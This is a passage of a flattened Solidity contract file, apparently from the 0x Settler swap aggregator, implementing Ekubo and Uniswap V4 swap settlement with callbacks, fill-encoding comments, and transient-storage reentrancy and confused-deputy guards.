and(0xffffffffffffffffffffffff, sqrtRatioLimit)) mstore(add(0xe0, ptr), 0x00) if iszero(call(gas(), core, 0x00, add(0x1c, ptr), 0xe4, 0x00, 0x40)) { returndatacopy(ptr, 0x00, returndatasize()) revert(ptr, returndatasize()) } // Ekubo CORE returns data properly no need to mask delta0 := mload(0x00) delta1 := mload(0x20) } } } abstract contract Ekubo is SettlerAbstract { using UnsafeMath for uint256; using FullMath for uint256; using UnsafeMath for int256; using CreditDebt for int256; using Ternary for bool; using SafeTransferLib for IERC20; using NotesLib for NotesLib.Note[]; using UnsafeEkuboCore for IEkuboCore; constructor() { assert(BASIS == Encoder.BASIS); assert(BASIS == Decoder.BASIS); assert(ETH_ADDRESS == Decoder.ETH_ADDRESS); } //// How to generate `fills` for Ekubo //// //// Linearize your DAG of fills by doing a topological sort on the tokens involved. In the //// topological sort of tokens, when there is a choice of the next token, break ties by //// preferring a token if it is the lexicographically largest token that is bought among fills //// with sell token equal to the previous token in the topological sort. Then sort the fills //// belonging to each sell token by their buy token. This technique isn't *quite* optimal, but //// it's pretty close. The buy token of the final fill is special-cased. It is the token that //// will be transferred to `recipient` and have its slippage checked against `amountOutMin`. In //// the event that you are encoding a series of fills with more than one output token, ensure //// that at least one of the global buy token's fills is positioned appropriately. //// //// Take care to note that while Ekube represents the native asset of the chain as //// the address of all zeroes, Settler represents this as the address of all `e`s. You must use //// Settler's representation. The conversion is performed by Settler before making calls to Ekubo //// //// Now that you have a list of fills, encode each fill as follows. //// First encode the `bps` for the fill as 2 bytes. Remember that this `bps` is relative to the //// running balance at the moment that the fill is settled. //// Second, encode the packing key for that fill as 1 byte. The packing key byte depends on the //// tokens involved in the previous fill. The packing key for the first fill must be 1; //// i.e. encode only the buy token for the first fill. //// 0 -> sell and buy tokens remain unchanged from the previous fill (pure multiplex) //// 1 -> sell token remains unchanged from the previous fill, buy token is encoded (diamond multiplex) //// 2 -> sell token becomes the buy token from the previous fill, new buy token is encoded (multihop) //// 3 -> both sell and buy token are encoded //// Obviously, after encoding the packing key, you encode 0, 1, or 2 tokens (each as 20 bytes), //// as appropriate. //// The remaining fields of the fill are mandatory. //// Third, encode the config of the pool as 32 bytes. It contains pool parameters which are //// 20 bytes extension address, 8 bytes fee, and 4 bytes tickSpacing. //// //// Repeat the process for each fill and concatenate the results without padding. function sellToEkubo( address recipient, IERC20 sellToken, uint256 bps, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, uint256 amountOutMin ) internal returns (uint256 buyAmount) { if (bps > BASIS) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } bytes memory data = Encoder.encode( uint32(IEkuboCore.lock.selector), recipient, sellToken, bps, feeOnTransfer, hashMul, hashMod, fills, amountOutMin ); bytes memory encodedBuyAmount = _setOperatorAndCall(address(CORE), data, uint32(IEkuboCallbacks.locked.selector), _ekuboLockCallback); // buyAmount = abi.decode(abi.decode(encodedBuyAmount, (bytes)), (uint256)); assembly ("memory-safe") { // We can skip all the checks performed by `abi.decode` because we know that this is the // verbatim result from `locked` and that `locked` encoded the buy amount // correctly. buyAmount := mload(add(0x60, encodedBuyAmount)) } } function sellToEkuboVIP( address recipient, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 amountOutMin ) internal returns (uint256 buyAmount) { bytes memory data = Encoder.encodeVIP( uint32(IEkuboCore.lock.selector), recipient, feeOnTransfer, hashMul, hashMod, fills, permit, sig, _isForwarded(), amountOutMin ); bytes memory encodedBuyAmount = _setOperatorAndCall(address(CORE), data, uint32(IEkuboCallbacks.locked.selector), _ekuboLockCallback); // buyAmount = abi.decode(abi.decode(encodedBuyAmount, (bytes)), (uint256)); assembly ("memory-safe") { // We can skip all the checks performed by `abi.decode` because we know that this is the // verbatim result from `locked` and that `locked` encoded the buy amount // correctly. buyAmount := mload(add(0x60, encodedBuyAmount)) } } function _ekuboLockCallback(bytes calldata data) private returns (bytes memory) { // We know that our calldata is well-formed. Therefore, the first slot is ekubo lock id, // second slot is 0x20 and third is the length of the strict ABIEncoded payload assembly ("memory-safe") { data.length := calldataload(add(0x40, data.offset)) data.offset := add(0x60, data.offset) } return locked(data); } function _ekuboPay( IERC20 sellToken, address payer, uint256 sellAmount, ISignatureTransfer.PermitTransferFrom calldata permit, bool isForwarded, bytes calldata sig ) private returns (uint256 payment) { if (sellToken == ETH_ADDRESS) { SafeTransferLib.safeTransferETH(payable(msg.sender), sellAmount); return sellAmount; } else { // Encode the call plus the extra data that is going to be needed in the callback bytes memory data; assembly ("memory-safe") { data := mload(0x40) mstore(add(0x24, data), sellToken) mstore(add(0x10, data), 0x0c11dedd000000000000000000000000) // selector for pay(address) with padding for token mstore(add(0x44, data), sellAmount) let size := 0x44 // if permit is needed add it to data if iszero(eq(payer, address())) { // let's skip token and sell amount and reuse the values already in data calldatacopy(add(0x64, data), add(0x40, permit), 0x40) mstore(add(0xa4, data), isForwarded) mstore(add(0xc4, data), sig.length) calldatacopy(add(0xe4, data), sig.offset, sig.length) size := add(size, add(0x80, sig.length)) } // update data length mstore(data, size) // update free memory pointer mstore(0x40, add(data, add(0x20, size))) } bytes memory encodedPayedAmount = _setOperatorAndCall(msg.sender, data, uint32(IEkuboCallbacks.payCallback.selector), payCallback); assembly ("memory-safe") { // We can skip all the checks performed by `abi.decode` because we know that this is the // verbatim result from `payCallback` and that `payCallback` encoded the payment // correctly. payment := mload(add(0x60, encodedPayedAmount)) } } } // the mandatory fields are // 2 - sell bps // 1 - pool key tokens case // 32 - config (20 extension, 8 fee, 4 tickSpacing) uint256 private constant _HOP_DATA_LENGTH = 35; function locked(bytes calldata data) private returns (bytes memory) { address recipient; uint256 minBuyAmount; uint256 hashMul; uint256 hashMod; bool feeOnTransfer; address payer; (data, recipient, minBuyAmount, hashMul, hashMod, feeOnTransfer, payer) = Decoder.decodeHeader(data); // Set up `state` and `notes`. The other values are ancillary and might be used when we need // to settle global sell token debt at the end of swapping. ( bytes calldata newData, State state, NotesLib.Note[] memory notes, ISignatureTransfer.PermitTransferFrom calldata permit, bool isForwarded, bytes calldata sig ) = Decoder.initialize(data, hashMul, hashMod, payer); { NotePtr globalSell = state.globalSell(); if (payer != address(this)) { globalSell.setAmount(_permitToSellAmountCalldata(permit)); } if (feeOnTransfer) { globalSell.setAmount( _ekuboPay(globalSell.token(), payer, globalSell.amount(), permit, isForwarded, sig) ); } if (globalSell.amount() >> 127 != 0) { Panic.panic(Panic.ARITHMETIC_OVERFLOW); } state.setGlobalSellAmount(globalSell.amount()); } state.checkZeroSellAmount(); data = newData; PoolKey memory poolKey; while (data.length >= _HOP_DATA_LENGTH) { uint16 bps; assembly ("memory-safe") { bps := shr(0xf0, calldataload(data.offset)) data.offset := add(0x02, data.offset) data.length := sub(data.length, 0x02) // we don't check for array out-of-bounds here; we will check it later in `Decoder.overflowCheck` } data = Decoder.updateState(state, notes, data); // It's not possible for `state.sell.amount` to even *approach* overflowing an `int256`, // given that deltas are `int128`. If it overflows an `int128`, the ABI decoding in // `CORE` will throw. int256 amountSpecified; unchecked { amountSpecified = int256((state.sell().amount() * bps).unsafeDiv(BASIS)); } bool isToken1; { (IERC20 sellToken, IERC20 buyToken) = (state.sell().token(), state.buy().token()); assembly ("memory-safe") { let sellTokenShifted := shl(0x60, sellToken) let buyTokenShifted := shl(0x60, buyToken) isToken1 := or( eq(0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee000000000000000000000000, buyTokenShifted), and(iszero(eq(0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee000000000000000000000000, sellTokenShifted)), lt(buyTokenShifted, sellTokenShifted)) ) } (poolKey.token0, poolKey.token1) = isToken1.maybeSwap(address(sellToken), address(buyToken)); } { bytes32 config; assembly ("memory-safe") { config := calldataload(data.offset) data.offset := add(0x20, data.offset) data.length := sub(data.length, 0x20) // we don't check for array out-of-bounds here; we will check it later in `Decoder.overflowCheck` } poolKey.config = Config.wrap(config); } Decoder.overflowCheck(data); { SqrtRatio sqrtRatio = SqrtRatio.wrap( uint96(isToken1.ternary(uint256(79227682466138141934206691491), uint256(4611797791050542631))) ); (int256 delta0, int256 delta1) = IEkuboCore(msg.sender).unsafeSwap( poolKey, amountSpecified, isToken1, sqrtRatio ); // Ekubo's sign convention here is backwards compared to UniV4/BalV3/PancakeInfinity // `settledSellAmount` is positive, `settledBuyAmount` is negative. So the use of // `asCredit` and `asDebt` below is misleading as they are actually debt and credit, // respectively, in this context. (int256 settledSellAmount, int256 settledBuyAmount) = isToken1.maybeSwap(delta0, delta1); // We have to check for underflow in the sell amount (could create more debt than // we're able to pay) NotePtr sell = state.sell(); sell.setAmount(sell.amount() - settledSellAmount.asCredit(sell)); // We *DON'T* have to check for overflow in the buy amount because adding an // `int128` to a `uint256`, even repeatedly cannot practically overflow. unchecked { NotePtr buy = state.buy(); buy.setAmount(buy.amount() + settledBuyAmount.asDebt(buy)); } } } // `data` has been consumed. All that remains is to settle out the net result of all the // swaps. Any credit in any token other than `state.buy.token` will be swept to // Settler. `state.buy.token` will be sent to `recipient`. { NotePtr globalSell = state.globalSell(); (IERC20 globalSellToken, uint256 globalSellAmount) = (globalSell.token(), globalSell.amount()); uint256 globalBuyAmount = Take.take(state, notes, uint32(IEkuboCore.withdraw.selector), recipient, minBuyAmount); if (feeOnTransfer) { // We've already transferred the sell token to the vault and // `settle`'d. `globalSellAmount` is the verbatim credit in that token stored by the // vault. We only need to handle the case of incomplete filling. if (globalSellAmount != 0) { Take._callSelector( uint32(IEkuboCore.withdraw.selector), globalSellToken, (payer == address(this)) ? address(this) : _msgSender(), globalSellAmount ); } } else { // While `notes` records a credit value, the vault actually records a debt for the // global sell token. We recover the exact amount of that debt and then pay it. // `globalSellAmount` is _usually_ zero, but if it isn't it represents a partial // fill. This subtraction recovers the actual debt recorded in the vault. uint256 debt; unchecked { debt = state.globalSellAmount() - globalSellAmount; } if (debt == 0) { assembly ("memory-safe") { mstore(0x14, globalSellToken) mstore(0x00, 0xfb772a88000000000000000000000000) // selector for `ZeroSellAmount(address)` with `globalSellToken`'s padding revert(0x10, 0x24) } } _ekuboPay(globalSellToken, payer, debt, permit, isForwarded, sig); } // return abi.encode(globalBuyAmount); bytes memory returndata; assembly ("memory-safe") { returndata := mload(0x40) mstore(returndata, 0x60) mstore(add(0x20, returndata), 0x20) mstore(add(0x40, returndata), 0x20) mstore(add(0x60, returndata), globalBuyAmount) mstore(0x40, add(0x80, returndata)) } return returndata; } } function payCallback(bytes calldata data) private returns (bytes memory returndata) { IERC20 sellToken; uint256 sellAmount; ISignatureTransfer.PermitTransferFrom calldata permit; bool isForwarded; bytes calldata sig; assembly ("memory-safe") { // Initialize permit and sig to appease the compiler permit := calldatasize() sig.offset := calldatasize() sig.length := 0x00 // first 2 slots in calldata are id and token // id is not being used so can be skipped sellToken := calldataload(add(0x20, data.offset)) // then extra data added in _ekuboPay sellAmount := calldataload(add(0x40, data.offset)) } if (0x60 < data.length) { assembly ("memory-safe") { // starts at the beginning of sellToken permit := add(0x20, data.offset) isForwarded := calldataload(add(0xa0, data.offset)) sig.offset := add(0xc0, data.offset) sig.length := calldataload(sig.offset) sig.offset := add(0x20, sig.offset) } ISignatureTransfer.SignatureTransferDetails memory transferDetails = ISignatureTransfer.SignatureTransferDetails({to: msg.sender, requestedAmount: sellAmount}); _transferFrom(permit, transferDetails, sig, isForwarded); } else { sellToken.safeTransfer(msg.sender, sellAmount); } // return abi.encode(sellAmount); assembly ("memory-safe") { returndata := mload(0x40) mstore(returndata, 0x60) mstore(add(0x20, returndata), 0x20) mstore(add(0x40, returndata), 0x20) mstore(add(0x60, returndata), sellAmount) mstore(0x40, add(0x80, returndata)) } } } // src/core/UniswapV4.sol abstract contract UniswapV4 is SettlerAbstract { using SafeTransferLib for IERC20; using UnsafeMath for uint256; using UnsafeMath for int256; using Ternary for bool; using CreditDebt for int256; using UnsafePoolManager for IPoolManager; using NotesLib for NotesLib.Note[]; constructor() { assert(BASIS == Encoder.BASIS); assert(BASIS == Decoder.BASIS); assert(ETH_ADDRESS == Decoder.ETH_ADDRESS); } function _POOL_MANAGER() internal view virtual returns (IPoolManager); //// These two functions are the entrypoints to this set of actions. Because UniV4 has a //// mandatory callback, and the vast majority of the business logic has to be executed inside //// the callback, they're pretty minimal. Both end up inside the last function in this file //// `unlockCallback`, which is where most of the business logic lives. Primarily, these //// functions are concerned with correctly encoding the argument to //// `POOL_MANAGER.unlock(...)`. Pay special attention to the `payer` field, which is what //// signals to the callback whether we should be spending a coupon. //// How to generate `fills` for UniV4: //// //// Linearize your DAG of fills by doing a topological sort on the tokens involved. In the //// topological sort of tokens, when there is a choice of the next token, break ties by //// preferring a token if it is the lexicographically largest token that is bought among fills //// with sell token equal to the previous token in the topological sort. Then sort the fills //// belonging to each sell token by their buy token. This technique isn't *quite* optimal, but //// it's pretty close. The buy token of the final fill is special-cased. It is the token that //// will be transferred to `recipient` and have its slippage checked against `amountOutMin`. In //// the event that you are encoding a series of fills with more than one output token, ensure //// that at least one of the global buy token's fills is positioned appropriately. //// //// Now that you have a list of fills, encode each fill as follows. //// First encode the `bps` for the fill as 2 bytes. Remember that this `bps` is relative to the //// running balance at the moment that the fill is settled. //// Second, encode the packing key for that fill as 1 byte. The packing key byte depends on the //// tokens involved in the previous fill. The packing key for the first fill must be 1; //// i.e. encode only the buy token for the first fill. //// 0 -> sell and buy tokens remain unchanged from the previous fill (pure multiplex) //// 1 -> sell token remains unchanged from the previous fill, buy token is encoded (diamond multiplex) //// 2 -> sell token becomes the buy token from the previous fill, new buy token is encoded (multihop) //// 3 -> both sell and buy token are encoded //// Obviously, after encoding the packing key, you encode 0, 1, or 2 tokens (each as 20 bytes), //// as appropriate. //// The remaining fields of the fill are mandatory. //// Third, encode the pool fee as 3 bytes, and the pool tick spacing as 3 bytes. //// Fourth, encode the hook address as 20 bytes. //// Fifth, encode the hook data for the fill. Encode the length of the hook data as 3 bytes, //// then append the hook data itself. //// //// Repeat the process for each fill and concatenate the results without padding. function sellToUniswapV4( address recipient, IERC20 sellToken, uint256 bps, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, uint256 amountOutMin ) internal returns (uint256 buyAmount) { bytes memory data = Encoder.encode( uint32(IPoolManager.unlock.selector), recipient, sellToken, bps, feeOnTransfer, hashMul, hashMod, fills, amountOutMin ); bytes memory encodedBuyAmount = _setOperatorAndCall( address(_POOL_MANAGER()), data, uint32(IUnlockCallback.unlockCallback.selector), _uniV4Callback ); // buyAmount = abi.decode(abi.decode(encodedBuyAmount, (bytes)), (uint256)); assembly ("memory-safe") { // We can skip all the checks performed by `abi.decode` because we know that this is the // verbatim result from `unlockCallback` and that `unlockCallback` encoded the buy // amount correctly. buyAmount := mload(add(0x60, encodedBuyAmount)) } } function sellToUniswapV4VIP( address recipient, bool feeOnTransfer, uint256 hashMul, uint256 hashMod, bytes memory fills, ISignatureTransfer.PermitTransferFrom memory permit, bytes memory sig, uint256 amountOutMin ) internal returns (uint256 buyAmount) { bytes memory data = Encoder.encodeVIP( uint32(IPoolManager.unlock.selector), recipient, feeOnTransfer, hashMul, hashMod, fills, permit, sig, _isForwarded(), amountOutMin ); bytes memory encodedBuyAmount = _setOperatorAndCall( address(_POOL_MANAGER()), data, uint32(IUnlockCallback.unlockCallback.selector), _uniV4Callback ); // buyAmount = abi.decode(abi.decode(encodedBuyAmount, (bytes)), (uint256)); assembly ("memory-safe") { // We can skip all the checks performed by `abi.decode` because we know that this is the // verbatim result from `unlockCallback` and that `unlockCallback` encoded the buy // amount correctly. buyAmount := mload(add(0x60, encodedBuyAmount)) } } function _uniV4Callback(bytes calldata data) private returns (bytes memory) { // We know that our calldata is well-formed. Therefore, the first slot is 0x20 and the // second slot is the length of the strict ABIEncoded payload assembly ("memory-safe") { data.length := calldataload(add(0x20, data.offset)) data.offset := add(0x40, data.offset) } return unlockCallback(data); } //// The following functions are the helper functions for `unlockCallback`. They abstract much //// of the complexity of tracking which tokens need to be zeroed out at the end of the //// callback. //// //// The two major pieces of state that are maintained through the callback are `Note[] memory //// notes` and `State state` //// //// `notes` keeps track of the list of the tokens that have been touched throughout the //// callback that have nonzero credit. At the end of the fills, all tokens with credit will be //// swept back to Settler. These are the global buy token (against which slippage is checked) //// and any other multiplex-out tokens. Only the global sell token is allowed to have debt, but //// it is accounted slightly differently from the other tokens. The function `_take` is //// responsible for iterating over the list of tokens and withdrawing any credit to the //// appropriate recipient. //// //// `state` exists to reduce stack pressure and to simplify/gas-optimize the process of //// swapping. By keeping track of the sell and buy token on each hop, we're able to compress //// the representation of the fills required to satisfy the swap. Most often in a swap, the //// tokens in adjacent fills are somewhat in common. By caching, we avoid having them appear //// multiple times in the calldata. // the mandatory fields are // 2 - sell bps // 1 - pool key tokens case // 3 - pool fee // 3 - pool tick spacing // 20 - pool hooks // 3 - hook data length uint256 private constant _HOP_DATA_LENGTH = 32; /// Decode a `PoolKey` from its packed representation in `bytes` and the token information in /// `state`. Returns the `zeroForOne` flag and the suffix of the bytes that are not consumed in /// the decoding process. function _setPoolKey(IPoolManager.PoolKey memory key, State state, bytes calldata data) private pure returns (bool, bytes calldata) { (IERC20 sellToken, IERC20 buyToken) = (state.sell().token(), state.buy().token()); bool zeroForOne; assembly ("memory-safe") { let sellTokenShifted := shl(0x60, sellToken) let buyTokenShifted := shl(0x60, buyToken) zeroForOne := or( eq(0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee000000000000000000000000, sellTokenShifted), and(iszero(eq(0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee000000000000000000000000, buyTokenShifted)), lt(sellTokenShifted, buyTokenShifted)) ) } (key.token0, key.token1) = zeroForOne.maybeSwap(buyToken, sellToken); uint256 packed; assembly ("memory-safe") { packed := shr(0x30, calldataload(data.offset)) data.offset := add(0x1a, data.offset) data.length := sub(data.length, 0x1a) // we don't check for array out-of-bounds here; we will check it later in `Decoder.overflowCheck` } key.fee = uint24(packed >> 184); key.tickSpacing = int24(uint24(packed >> 160)); key.hooks = IHooks.wrap(address(uint160(packed))); return (zeroForOne, data); } function _pay( IERC20 sellToken, address payer, uint256 sellAmount, ISignatureTransfer.PermitTransferFrom calldata permit, bool isForwarded, bytes calldata sig ) private returns (uint256) { IPoolManager(msg.sender).unsafeSync(sellToken); if (payer == address(this)) { sellToken.safeTransfer(msg.sender, sellAmount); } else { // assert(payer == address(0)); ISignatureTransfer.SignatureTransferDetails memory transferDetails = ISignatureTransfer.SignatureTransferDetails({to: msg.sender, requestedAmount: sellAmount}); _transferFrom(permit, transferDetails, sig, isForwarded); } return IPoolManager(msg.sender).unsafeSettle(); } function unlockCallback(bytes calldata data) private returns (bytes memory) { address recipient; uint256 minBuyAmount; uint256 hashMul; uint256 hashMod; bool feeOnTransfer; address payer; (data, recipient, minBuyAmount, hashMul, hashMod, feeOnTransfer, payer) = Decoder.decodeHeader(data); // Set up `state` and `notes`. The other values are ancillary and might be used when we need // to settle global sell token debt at the end of swapping. ( bytes calldata newData, State state, NotesLib.Note[] memory notes, ISignatureTransfer.PermitTransferFrom calldata permit, bool isForwarded, bytes calldata sig ) = Decoder.initialize(data, hashMul, hashMod, payer); { NotePtr globalSell = state.globalSell(); if (payer != address(this)) { globalSell.setAmount(_permitToSellAmountCalldata(permit)); } if (feeOnTransfer) { globalSell.setAmount( _pay(globalSell.token(), payer, globalSell.amount(), permit, isForwarded, sig) ); } state.setGlobalSellAmount(globalSell.amount()); } state.checkZeroSellAmount(); data = newData; // Now that we've unpacked and decoded the header, we can begin decoding the array of swaps // and executing them. IPoolManager.PoolKey memory key; IPoolManager.SwapParams memory params; while (data.length >= _HOP_DATA_LENGTH) { uint16 bps; assembly ("memory-safe") { bps := shr(0xf0, calldataload(data.offset)) data.offset := add(0x02, data.offset) data.length := sub(data.length, 0x02) // we don't check for array out-of-bounds here; we will check it later in `Decoder.overflowCheck` } data = Decoder.updateState(state, notes, data); bool zeroForOne; (zeroForOne, data) = _setPoolKey(key, state, data); bytes calldata hookData; (data, hookData) = Decoder.decodeBytes(data); Decoder.overflowCheck(data); params.zeroForOne = zeroForOne; unchecked { params.amountSpecified = int256((state.sell().amount() * bps).unsafeDiv(BASIS)).unsafeNeg(); } // TODO: price limits params.sqrtPriceLimitX96 = uint160( zeroForOne.ternary(uint160(4295128740), uint160(1461446703485210103287273052203988822378723970341)) ); BalanceDelta delta = IPoolManager(msg.sender).unsafeSwap(key, params, hookData); { (int256 settledSellAmount, int256 settledBuyAmount) = zeroForOne.maybeSwap(delta.amount1(), delta.amount0()); // Some insane hooks may increase the sell amount; obviously this may result in // unavoidable reverts in some cases. But we still need to make sure that we don't // underflow to avoid wildly unexpected behavior. The pool manager enforces that the // settled sell amount cannot be positive NotePtr sell = state.sell(); sell.setAmount(sell.amount() - uint256(settledSellAmount.unsafeNeg())); // If `state.buy.amount()` overflows an `int128`, we'll get a revert inside the pool // manager later. We cannot overflow a `uint256`. unchecked { NotePtr buy = state.buy(); buy.setAmount(buy.amount() + settledBuyAmount.asCredit(buy)); } } } // `data` has been consumed. All that remains is to settle out the net result of all the // swaps. Any credit in any token other than `state.buy.token` will be swept to // Settler. `state.buy.token` will be sent to `recipient`. { NotePtr globalSell = state.globalSell(); (IERC20 globalSellToken, uint256 globalSellAmount) = (globalSell.token(), globalSell.amount()); uint256 globalBuyAmount = Take.take(state, notes, uint32(IPoolManager.take.selector), recipient, minBuyAmount); if (feeOnTransfer) { // We've already transferred the sell token to the pool manager and // `settle`'d. `globalSellAmount` is the verbatim credit in that token stored by the // pool manager. We only need to handle the case of incomplete filling. if (globalSellAmount != 0) { Take._callSelector( uint32(IPoolManager.take.selector), globalSellToken, payer == address(this) ? address(this) : _msgSender(), globalSellAmount ); } } else { // While `notes` records a credit value, the pool manager actually records a debt // for the global sell token. We recover the exact amount of that debt and then pay // it. // `globalSellAmount` is _usually_ zero, but if it isn't it represents a partial // fill. This subtraction recovers the actual debt recorded in the pool manager. uint256 debt; unchecked { debt = state.globalSellAmount() - globalSellAmount; } if (debt == 0) { assembly ("memory-safe") { mstore(0x14, globalSellToken) mstore(0x00, 0xfb772a88000000000000000000000000) // selector for `ZeroSellAmount(address)` with `globalSellToken`'s padding revert(0x10, 0x24) } } if (globalSellToken == ETH_ADDRESS) { IPoolManager(msg.sender).unsafeSync(IERC20(address(0))); IPoolManager(msg.sender).unsafeSettle(debt); } else { _pay(globalSellToken, payer, debt, permit, isForwarded, sig); } } // return abi.encode(globalBuyAmount); bytes memory returndata; assembly ("memory-safe") { returndata := mload(0x40) mstore(returndata, 0x60) mstore(add(0x20, returndata), 0x20) mstore(add(0x40, returndata), 0x20) mstore(add(0x60, returndata), globalBuyAmount) mstore(0x40, add(0x80, returndata)) } return returndata; } } address public constant rebateClaimer = 0x352650Ac2653508d946c4912B07895B22edd84CD; // an EOA owned by Scott } // src/core/Permit2Payment.sol library TransientStorage { // bytes32((uint256(keccak256("operator slot")) - 1) & type(uint128).max) bytes32 private constant _OPERATOR_SLOT = 0x0000000000000000000000000000000007f49fa1cdccd5c65a7d4860ce3abbe9; // bytes32((uint256(keccak256("witness slot")) - 1) & type(uint128).max) bytes32 private constant _WITNESS_SLOT = 0x00000000000000000000000000000000e44a235ac7aebfbc05485e093720deaa; // bytes32((uint256(keccak256("payer slot")) - 1) & type(uint128).max) bytes32 private constant _PAYER_SLOT = 0x00000000000000000000000000000000c824a45acd1e9517bb0cb8d0d5cde893; // We assume (and our CI enforces) that internal function pointers cannot be // greater than 2 bytes. On chains not supporting the ViaIR pipeline, not // supporting EOF, and where the Spurious Dragon size limit is not enforced, // it might be possible to violate this assumption. However, our // `foundry.toml` enforces the use of the IR pipeline, so the point is moot. // // `operator` must not be `address(0)`. This is not checked. // `callback` must not be zero. This is checked in `_invokeCallback`. function setOperatorAndCallback( address operator, uint32 selector, function (bytes calldata) internal returns (bytes memory) callback ) internal { address currentSigner; assembly ("memory-safe") { currentSigner := tload(_PAYER_SLOT) } if (operator == currentSigner) { assembly ("memory-safe") { mstore(0x00, 0xe758b8d5) // selector for `ConfusedDeputy()` revert(0x1c, 0x04) } } uint256 callbackInt; assembly ("memory-safe") { callbackInt := tload(_OPERATOR_SLOT) } if (callbackInt != 0) { // It should be impossible to reach this error because the first thing the fallback does // is clear the operator. It's also not possible to reenter the entrypoint function // because `_PAYER_SLOT` is an implicit reentrancy guard. assembly ("memory-safe") { mstore(0x00, 0xab7646c4) // selector for `ReentrantCallback(uint256)` mstore(0x20, callbackInt) revert(0x1c, 0x24) } } assembly ("memory-safe") { tstore( _OPERATOR_SLOT, or( shl(0xe0, selector), or(shl(0xa0, and(0xffff, callback)), and(0xffffffffffffffffffffffffffffffffffffffff, operator)) ) ) } } function checkSpentOperatorAndCallback() internal view { uint256 callbackInt; assembly ("memory-safe") { callbackInt := tload(_OPERATOR_SLOT) } if (callbackInt != 0) { assembly ("memory-safe") { mstore(0x00, 0xd66fcc38) // selector for `CallbackNotSpent(uint256)` mstore(0x20, callbackInt) revert(0x1c, 0x24) } } } function getAndClearCallback() internal returns (function (bytes calldata) internal returns (bytes memory) callback) { assembly ("memory-safe") { let slot := tload(_OPERATOR_SLOT) if or(shr(0xe0, xor(calldataload(0), slot)), shl(0x60, xor(caller(), slot))) { revert(0x00, 0x00) } callback := and(0xffff, shr(0xa0, slot)) tstore(_OPERATOR_SLOT, 0x00) } } // `newWitness` must not be `bytes32(0)`. This is not checked. function setWitness(bytes32 newWitness) internal { bytes32 currentWitness; assembly ("memory-safe") { currentWitness := tload(_WITNESS_SLOT) } if (currentWitness != bytes32(0)) { // It should be impossible to reach this error because the first thing a metatransaction // does on entry is to spend the `witness` (either directly or via a callback) assembly ("memory-safe") { mstore(0x00, 0x9936cbab) // selector for `ReentrantMetatransaction(bytes32)` mstore(0x20, currentWitness) revert(0x1c, 0x24) } } assembly ("memory-safe") { tstore(_WITNESS_SLOT, newWitness) } } function checkSpentWitness() internal view { bytes32 currentWitness; assembly ("memory-safe") { currentWitness := tload(_WITNESS_SLOT) } if (currentWitness != bytes32(0)) { assembly ("memory-safe") { mstore(0x00, 0xe25527c2) // selector for `WitnessNotSpent(bytes32)` mstore(0x20, currentWitness) revert(0x1c, 0x24) } } } function getAndClearWitness() internal returns (bytes32 witness) { assembly ("memory-safe") { witness := tload(_WITNESS_SLOT) tstore(_WITNESS_SLOT, 0x00) } } function setPayer(address payer) internal { if (payer == address(0)) { assembly ("memory-safe") { mstore(0x00, 0xe758b8d5) // selector for `ConfusedDeputy()` revert(0x1c, 0x04) } } address oldPayer; assembly ("memory-safe") { oldPayer := tload(_PAYER_SLOT) } if (oldPayer != address(0)) { assembly ("memory-safe") { mstore(0x14, oldPayer) mstore(0x00, 0x7407c0f8000000000000000000000000) // selector for `ReentrantPayer(address)` with `oldPayer`'s padding revert(0x10, 0x24) } } assembly ("memory-safe") { tstore(_PAYER_SLOT, and(0xffffffffffffffffffffffffffffffffffffffff, payer)) } } function getPayer() internal view returns (address payer) { assembly ("memory-safe") { payer := tload(_PAYER_SLOT) } } function clearPayer(address expectedOldPayer) internal { address oldPayer; assembly ("memory-safe") { oldPayer := tload(_PAYER_SLOT) } if (oldPayer != expectedOldPayer) { assembly ("memory-safe") { mstore(0x00, 0x5149e795) // selector for `PayerSpent()` revert(0x1c, 0x04) } } assembly ("memory-safe") { tstore(_PAYER_SLOT, 0x00) } } } abstract contract Permit2PaymentBase is Context, SettlerAbstract { using Revert for bool; /// @dev Permit2 address ISignatureTransfer internal constant _PERMIT2 = ISignatureTransfer(0x000000000022D473030F116dDEE9F6B43aC78BA3); function _isRestrictedTarget(address target) internal pure virtual override returns (bool) { return target == address(_PERMIT2); } function _operator() internal view virtual override returns (address) { return super._msgSender(); } function _msgSender() internal view virtual override(AbstractContext, Context) returns (address) { return TransientStorage.getPayer(); } /// @dev You must ensure that `target` is derived by hashing trusted initcode or another /// equivalent mechanism that guarantees "reasonable"ness. `target` must not be /// user-supplied or attacker-controlled. This is required for security and is not checked /// here. For example, it must not do something weird like modifying the spender (possibly /// setting it to itself). If the callback is expected to relay a /// `ISignatureTransfer.PermitTransferFrom` struct, then the computation of `target` using /// the trusted initcode (or equivalent) must ensure that that calldata is relayed /// unmodified. The library function `AddressDerivation.deriveDeterministicContract` is /// recommended. function _setOperatorAndCall( address payable target, uint256 value, bytes memory data, uint32 selector, function (bytes calldata) internal returns (bytes memory) callback ) internal returns (bytes memory) { TransientStorage.setOperatorAndCallback(target, selector, callback); (bool success, bytes memory returndata) = target.call{value: value}(data); success.maybeRevert(returndata); TransientStorage.checkSpentOperatorAndCallback(); return returndata; } function _setOperatorAndCall( address target, bytes memory data, uint32 selector, function (bytes calldata) internal returns (bytes memory) callback ) internal override returns (bytes memory) { return _setOperatorAndCall(payable(target), 0, data, selector, callback); } function _invokeCallback(bytes calldata data) internal returns (bytes memory) { // Retrieve callback and perform call with untrusted calldata return TransientStorage.getAndClearCallback()(data[4:]); } } abstract contract Permit2Payment is Permit2PaymentBase { fallback(bytes calldata) external virtual returns (bytes memory) { return _invokeCallback(_msgData()); } function _permitToTransferDetails(ISignatureTransfer.PermitTransferFrom memory permit, address recipient) internal view override returns (ISignatureTransfer.SignatureTransferDetails memory transferDetails, uint256 sellAmount) { transferDetails.to = recipient; transferDetails.requestedAmount = sellAmount = _permitToSellAmount(permit); } // This function is provided *EXCLUSIVELY* for use here and in RfqOrderSettlement. Any other use // of this function is forbidden. You must use the version that does *NOT* take a `from` or // `witness` argument. function _transferFromIKnowWhatImDoing( 